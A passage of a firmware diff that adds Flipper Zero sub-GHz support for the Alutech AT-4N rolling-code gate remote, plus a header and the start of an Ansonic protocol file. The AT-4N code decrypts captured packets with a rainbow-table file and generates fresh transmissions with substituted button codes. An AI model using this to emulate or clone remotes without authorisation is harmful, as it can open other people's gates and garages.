FURI_LOG_E(TAG, "Serialize error");
|
||||
return false;
|
||||
}
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
return false;
|
||||
}
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
|
||||
FURI_LOG_E(TAG, "Unable to add CRC");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the button value for the current btn_id
|
||||
* Basic set | 0x11 | 0x22 | 0xFF | 0x44 | 0x33 |
|
||||
* @return Button code
|
||||
*/
|
||||
static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void);
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderAlutech instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_alutech_at_4n_get_upload(
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance,
|
||||
uint8_t btn) {
|
||||
furi_assert(instance);
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(btn);
|
||||
}
|
||||
|
||||
btn = subghz_protocol_alutech_at_4n_get_btn_code();
|
||||
|
||||
// override button if we change it with signal settings button editor
|
||||
if(subghz_block_generic_global_button_override_get(&btn)) {
|
||||
bypass = true;
|
||||
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
|
||||
}
|
||||
|
||||
// Gen new key
|
||||
if(!subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t index = 0;
|
||||
// Send preambula
|
||||
for(uint8_t i = 0; i < 12; ++i) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 1
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 0
|
||||
}
|
||||
|
||||
instance->encoder.upload[index - 1].duration +=
|
||||
(uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 9;
|
||||
|
||||
// Send key data
|
||||
for(uint8_t i = 64; i > 0; --i) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
|
||||
} else {
|
||||
//0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
|
||||
}
|
||||
}
|
||||
// Send crc
|
||||
for(uint8_t i = 8; i > 0; --i) {
|
||||
if(bit_read(instance->crc, i - 1)) {
|
||||
//1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
|
||||
} else {
|
||||
//0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
|
||||
}
|
||||
}
|
||||
// Inter-frame silence
|
||||
instance->encoder.upload[index - 1].duration +=
|
||||
(uint32_t)subghz_protocol_alutech_at_4n_const.te_long * 20;
|
||||
|
||||
size_t size_upload = index;
|
||||
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_encoder_alutech_at_4n_deserialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
if(SubGhzProtocolStatusOk !=
|
||||
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
|
||||
FURI_LOG_E(TAG, "Missing CRC");
|
||||
break;
|
||||
}
|
||||
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t tmp_counter_mode;
|
||||
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
|
||||
alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
|
||||
} else {
|
||||
alutech_at4n_counter_mode = 0;
|
||||
}
|
||||
|
||||
subghz_protocol_alutech_at_4n_remote_controller(
|
||||
&instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
|
||||
|
||||
subghz_protocol_encoder_alutech_at_4n_get_upload(instance, instance->generic.btn);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Key");
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
|
||||
FURI_LOG_E(TAG, "Unable to add CRC");
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
res = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance =
|
||||
malloc(sizeof(SubGhzProtocolDecoderAlutech_at_4n));
|
||||
instance->base.protocol = &subghz_protocol_alutech_at_4n;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->alutech_at_4n_rainbow_table_file_name =
|
||||
subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
|
||||
if(instance->alutech_at_4n_rainbow_table_file_name) {
|
||||
FURI_LOG_I(
|
||||
TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_alutech_at_4n_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
instance->alutech_at_4n_rainbow_table_file_name = NULL;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_alutech_at_4n_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case Alutech_at_4nDecoderStepReset:
|
||||
if((level) && DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta) {
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckPreambula;
|
||||
instance->header_count++;
|
||||
}
|
||||
break;
|
||||
case Alutech_at_4nDecoderStepCheckPreambula:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta)) {
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
break;
|
||||
}
|
||||
if((instance->header_count > 9) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short * 10) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta * 10)) {
|
||||
// Found header
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
break;
|
||||
case Alutech_at_4nDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckDuration;
|
||||
}
|
||||
break;
|
||||
case Alutech_at_4nDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
if(duration >= ((uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 2 +
|
||||
subghz_protocol_alutech_at_4n_const.te_delta)) {
|
||||
//add last bit
|
||||
if(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
} else if(
|
||||
DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta * 2) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
}
|
||||
|
||||
// Found end TX
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_alutech_at_4n_const.min_count_bit_for_found) {
|
||||
if(instance->generic.data != instance->generic.data_2) {
|
||||
instance->generic.data = instance->generic.data_2;
|
||||
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
instance->crc = instance->decoder.decode_data;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
break;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_long) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta * 2)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
if(instance->decoder.decode_count_bit == 64) {
|
||||
instance->generic.data_2 = instance->decoder.decode_data;
|
||||
instance->decoder.decode_data = 0;
|
||||
}
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta * 2) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
|
||||
subghz_protocol_alutech_at_4n_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
if(instance->decoder.decode_count_bit == 64) {
|
||||
instance->generic.data_2 = instance->decoder.decode_data;
|
||||
instance->decoder.decode_data = 0;
|
||||
}
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
* @param file_name Full path to rainbow table the file
|
||||
*/
|
||||
static void subghz_protocol_alutech_at_4n_remote_controller(
|
||||
SubGhzBlockGeneric* instance,
|
||||
uint8_t crc,
|
||||
const char* file_name) {
|
||||
/**
|
||||
* Message format 72bit LSB first
|
||||
* data crc
|
||||
* XXXXXXXXXXXXXXXX CC
|
||||
*
|
||||
* For analysis, you need to turn the package MSB
|
||||
* in decoded messages format
|
||||
*
|
||||
* crc1 serial cnt key
|
||||
* cc SSSSSSSS XXxx BB
|
||||
*
|
||||
* crc1 is calculated from the lower part of cnt
|
||||
* key 1=0xff, 2=0x11, 3=0x22, 4=0x33, 5=0x44
|
||||
*
|
||||
*/
|
||||
|
||||
bool status = false;
|
||||
uint64_t data = subghz_protocol_blocks_reverse_key(instance->data, 64);
|
||||
crc = subghz_protocol_blocks_reverse_key(crc, 8);
|
||||
|
||||
if(crc == subghz_protocol_alutech_at_4n_crc(data)) {
|
||||
data = subghz_protocol_alutech_at_4n_decrypt(data, file_name);
|
||||
status = true;
|
||||
}
|
||||
|
||||
if(status && ((uint8_t)(data >> 56) ==
|
||||
subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF)))) {
|
||||
instance->btn = (uint8_t)data & 0xFF;
|
||||
instance->cnt = (uint16_t)(data >> 8) & 0xFFFF;
|
||||
instance->serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
if(!status) {
|
||||
instance->btn = 0;
|
||||
instance->cnt = 0;
|
||||
instance->serial = 0;
|
||||
}
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
return (uint8_t)instance->crc;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
SubGhzProtocolStatus res =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
res = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if((res == SubGhzProtocolStatusOk) &&
|
||||
!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
|
||||
FURI_LOG_E(TAG, "Unable to add CRC");
|
||||
res = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_deserialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_alutech_at_4n_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
|
||||
FURI_LOG_E(TAG, "Missing CRC");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t tmp_counter_mode;
|
||||
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
|
||||
alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
|
||||
} else {
|
||||
alutech_at4n_counter_mode = 0;
|
||||
}
|
||||
|
||||
} while(false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void) {
|
||||
uint8_t custom_btn_id = subghz_custom_btn_get();
|
||||
uint8_t original_btn_code = subghz_custom_btn_get_original();
|
||||
uint8_t btn = original_btn_code;
|
||||
|
||||
// Set custom button
|
||||
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
|
||||
// Restore original button code
|
||||
btn = original_btn_code;
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
|
||||
switch(original_btn_code) {
|
||||
case 0x11:
|
||||
btn = 0x22;
|
||||
break;
|
||||
case 0x22:
|
||||
btn = 0x11;
|
||||
break;
|
||||
case 0xFF:
|
||||
btn = 0x11;
|
||||
break;
|
||||
case 0x44:
|
||||
btn = 0x11;
|
||||
break;
|
||||
case 0x33:
|
||||
btn = 0x11;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
|
||||
switch(original_btn_code) {
|
||||
case 0x11:
|
||||
btn = 0x44;
|
||||
break;
|
||||
case 0x22:
|
||||
btn = 0x44;
|
||||
break;
|
||||
case 0xFF:
|
||||
btn = 0x44;
|
||||
break;
|
||||
case 0x44:
|
||||
btn = 0xFF;
|
||||
break;
|
||||
case 0x33:
|
||||
btn = 0x44;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
|
||||
switch(original_btn_code) {
|
||||
case 0x11:
|
||||
btn = 0x33;
|
||||
break;
|
||||
case 0x22:
|
||||
btn = 0x33;
|
||||
break;
|
||||
case 0xFF:
|
||||
btn = 0x33;
|
||||
break;
|
||||
case 0x44:
|
||||
btn = 0x33;
|
||||
break;
|
||||
case 0x33:
|
||||
btn = 0x22;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
|
||||
switch(original_btn_code) {
|
||||
case 0x11:
|
||||
btn = 0xFF;
|
||||
break;
|
||||
case 0x22:
|
||||
btn = 0xFF;
|
||||
break;
|
||||
case 0xFF:
|
||||
btn = 0x22;
|
||||
break;
|
||||
case 0x44:
|
||||
btn = 0x22;
|
||||
break;
|
||||
case 0x33:
|
||||
btn = 0xFF;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return btn;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
|
||||
subghz_protocol_alutech_at_4n_remote_controller(
|
||||
&instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
|
||||
uint32_t code_found_hi = instance->generic.data >> 32;
|
||||
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.cnt_is_available = true;
|
||||
subghz_block_generic_global.cnt_length_bit = 16;
|
||||
subghz_block_generic_global.current_cnt = instance->generic.cnt;
|
||||
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 8;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s\r\n"
|
||||
"Key:0x%08lX%08lX\nCRC:%02X %dbit\r\n"
|
||||
"Sn:0x%08lX Btn:0x%01X\r\n"
|
||||
"Cnt:%04lX\r\n",
|
||||
instance->generic.protocol_name,
|
||||
code_found_hi,
|
||||
code_found_lo,
|
||||
(uint8_t)instance->crc,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
instance->generic.cnt);
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
#pragma once
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n;
|
||||
typedef struct SubGhzProtocolEncoderAlutech_at_4n SubGhzProtocolEncoderAlutech_at_4n;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_alutech_at_4n;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderAlutech_at_4n.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderAlutech_at_4n* pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderAlutech_at_4n.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
|
||||
*/
|
||||
void subghz_protocol_encoder_alutech_at_4n_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
|
||||
*/
|
||||
void subghz_protocol_encoder_alutech_at_4n_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderAlutech_at_4n.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderAlutech_at_4n* pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderAlutech_at_4n.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
*/
|
||||
void subghz_protocol_decoder_alutech_at_4n_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderAlutech_at_4n.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
*/
|
||||
void subghz_protocol_decoder_alutech_at_4n_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderAlutech_at_4n.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderAlutech_at_4n.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,344 @@
|
||||
#include "ansonic.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolAnsonic"
|
||||
|
||||
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
|
||||
#define CNT_TO_DIP(dip) \
|
||||
(dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
|
||||
(dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
|
||||
(dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
|
||||
(dip & 0x0008 ? '1' : '0')
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_ansonic_const = {
|
||||
.te_short = 555,
|
||||
.te_long = 1111,
|
||||
.te_delta = 120,
|
||||
.min_count_bit_for_found = 12,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderAnsonic {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderAnsonic {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
AnsonicDecoderStepReset = 0,
|
||||
AnsonicDecoderStepFoundStartBit,
|
||||
AnsonicDecoderStepSaveDuration,
|
||||
AnsonicDecoderStepCheckDuration,
|
||||
} AnsonicDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder = {
|
||||
.alloc = subghz_protocol_decoder_ansonic_alloc,
|
||||
.free = subghz_protocol_decoder_ansonic_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_ansonic_feed,
|
||||
.reset = subghz_protocol_decoder_ansonic_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_ansonic_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_ansonic_serialize,
|
||||
.deserialize = subghz_protocol_decoder_ansonic_deserialize,
|
||||
.get_string = subghz_protocol_decoder_ansonic_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder = {
|
||||
.alloc = subghz_protocol_encoder_ansonic_alloc,
|
||||
.free = subghz_protocol_encoder_ansonic_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_ansonic_deserialize,
|
||||
.stop = subghz_protocol_encoder_ansonic_stop,
|
||||
.yield = subghz_protocol_encoder_ansonic_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_ansonic = {
|
||||
.name = SUBGHZ_PROTOCOL_ANSONIC_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_FM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
